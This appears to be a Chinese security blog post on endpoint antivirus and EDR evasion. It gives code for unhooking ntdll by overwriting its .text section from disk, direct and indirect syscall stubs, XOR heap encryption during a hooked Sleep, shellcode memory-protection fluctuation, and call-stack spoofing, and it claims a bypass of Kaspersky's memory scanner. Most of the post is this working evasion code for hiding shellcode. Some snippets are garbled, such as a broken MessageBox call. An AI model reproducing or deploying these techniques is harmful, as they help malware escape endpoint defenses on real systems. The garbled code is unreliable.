← 返回列表

Defense Evasion(防御规避)

单站 干杯Security 发布 Tue, 07 Nov 2023 16:03:00 +0800 入库 2026-11-18T16:28:02

原创 鬼屋女鬼 2023-11-07 16:03 江苏

终端对抗向的技巧型文章。

“ 终端对抗向技巧型文章,闭门沙龙精华提炼版。”

终端对抗向的技巧型文章,欢迎留言与笔者沟通交流!

效果如下:

typedef int(WINAPI* pMessageBoxW)( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );

int main()``{ pMessageBoxW MyMessageBox = (pMessageBoxW)GetProcAddress(GetModuleHandle(L"USER32.dll"), "MessageBoxA"); 0, 0, 0); return 0;``}

通过读取磁盘上ntdll.dll的.text节,覆盖内存当中的ntdll.dll的.text节,达到脱钩的效果

示例代码:

HANDLE process = GetCurrentProcess(); MODULEINFO mi = {}; HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) { DWORD oldProtection = 0; bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); } } CloseHandle(process); CloseHandle(ntdllFile); CloseHandle(ntdllMapping); FreeLibrary(ntdllModule); return 0;

Syscall:Direct syscall、Indirect syscall

NtWriteVirtualMemory PROC mov r10, rcx mov eax, wNtWriteVirtualMemory jmp QWORD PTR [sysAddrNtWriteVirtualMemory]``NtWriteVirtualMemory ENDP

UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];``sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;

PE in Memory:内存加载

进程断链:断掉父子进程链

Heap Encryption

通过Hook Sleep函数,睡眠期间加密堆内存规避内存扫描:

void WINAPI HookedSleep(DWORD dwMiliseconds) { DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId()); HeapEncryptDecrypt();

    `OldSleep(dwMiliseconds);`

    `HeapEncryptDecrypt();`        `DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());``}`
关键部分代码,加密堆内存:

static PROCESS_HEAP_ENTRY entry;``VOID HeapEncryptDecrypt() { SecureZeroMemory(&entry, sizeof(entry)); while (HeapWalk(currentHeap, &entry)) { if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) { XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData); } }``}

  1. Hook Sleep 函数
  2. 定位内存中的shellcode
  3. 睡眠期间翻转为RW
  4. 睡眠结束翻转为RX
  5. 无限循环,以此规避内存扫描

关键部分代码:

XOR加密:

void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey)``{ uint32_t* buf32 = reinterpret_cast<uint32_t*>(buf);

`auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4;`    `for (size_t i = 0; i < bufSizeRounded; i++)`    `{`        `buf32[i] ^= xorKey;`    `}`

`for (size_t i = 4 * bufSizeRounded; i < bufSize; i++)`    `{`        `buf[i] ^= static_cast<uint8_t>(xorKey & 0xff);`    `}``}`
定位内存中的shellcode地址:

bool isShellcodeThread(LPVOID address)``{ MEMORY_BASIC_INFORMATION mbi = { 0 }; if (VirtualQuery(address, &mbi, sizeof(mbi))) { // // To verify whether address belongs to the shellcode's allocation, we can simply // query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc. // if (mbi.Type == MEM_PRIVATE) { const DWORD expectedProtection = (g_fluctuate == FluctuateToRW) ? PAGE_READWRITE : PAGE_NOACCESS;

        `return ((mbi.Protect & PAGE_EXECUTE_READ)`                 `|| (mbi.Protect & PAGE_EXECUTE_READWRITE)`                `|| (mbi.Protect & expectedProtection));`        `}`    `}`

`return false;``}`
加密和解密shellcode:

void shellcodeEncryptDecrypt(LPVOID callerAddress)``{ if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0) { if (!isShellcodeThread(callerAddress)) return;

    `DWORD oldProt = 0;`

    `if (!g_fluctuationData.currentlyEncrypted`             `|| (g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA))`        `{`            `::VirtualProtect(`                `g_fluctuationData.shellcodeAddr,`                `g_fluctuationData.shellcodeSize,`                `PAGE_READWRITE,`                `&g_fluctuationData.protect`            `);`

        `log("[>] Flipped to RW.");`        `}`                `log((g_fluctuationData.currentlyEncrypted) ? "[<] Decoding..." : "[>] Encoding...");`

    `xor32(`            `reinterpret_cast<uint8_t*>(g_fluctuationData.shellcodeAddr),`            `g_fluctuationData.shellcodeSize,`            `g_fluctuationData.encodeKey`        `);`

    `if (!g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA)`        `{`            `//`            `// Here we're utilising ORCA666's idea to mark the shellcode as PAGE_NOACCESS instead of PAGE_READWRITE`            `// and our previously set up vectored exception handler should catch invalid memory access, flip back memory`            `// protections and resume the execution.`            `//`             `// Be sure to check out ORCA666's original implementation here:`            `//`      [https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285](https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285)            `//`

        `::VirtualProtect(`                `g_fluctuationData.shellcodeAddr,`                `g_fluctuationData.shellcodeSize,`                `PAGE_NOACCESS,`                `&oldProt`            `);`

        `log("[>] Flipped to No Access.\n");`        `}`        `else if (g_fluctuationData.currentlyEncrypted)`        `{`            `::VirtualProtect(`                `g_fluctuationData.shellcodeAddr,`                `g_fluctuationData.shellcodeSize,`                `g_fluctuationData.protect,`                `&oldProt`            `);`

        `log("[<] Flipped back to RX/RWX.\n");`        `}`

    `g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;`    `}``}`
效果:

Bypass Kasperskey Memory Scanner:

线程堆栈欺骗:欺骗线程堆栈返回地址

默认情况下,线程的返回地址指向我们驻留在内存中的shellcode,通过检查可疑进程中线程的返回地址,可以轻松识别到内存中的shellcode

最简单的方法,直接用0覆盖返回地址,从而截断堆栈

关键代码

void WINAPI MySleep(DWORD _dwMilliseconds)``{ const register DWORD dwMilliseconds = _dwMilliseconds;

`// Perform this (current) thread call stack spoofing.`    `PULONG_PTR overwrite = (PULONG_PTR)_AddressOfReturnAddress();`    `const register ULONG_PTR origReturnAddress = *overwrite;`

`log("[>] Original return address: 0x", std::hex, std::setw(8), std::setfill('0'), origReturnAddress, ". Finishing call stack...");`    `*overwrite = 0;`

`log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");`

`// Perform sleep emulating originally hooked functionality.`    `::SleepEx(dwMilliseconds, false);`

`// Restore original thread's call stack.`    `log("[<] Restoring original return address...");`    `*overwrite = origReturnAddress;``}`

效果对比:

默认线程调用堆栈:

欺骗后的线程调用堆栈:

抛出沙龙上,交流提出的两个问题。

逃逸技术是和反病毒技术的长期对抗。欢迎各位师傅和笔者沟通交流!

最后公众号后台回复终端对抗,获取作者联系方式哈。

原文链接:https://mp.weixin.qq.com/s?__biz=Mzk0MDM3NjcxMg==&mid=2247483668&idx=1&sn=c310157df4f9f3e335f42200895df62d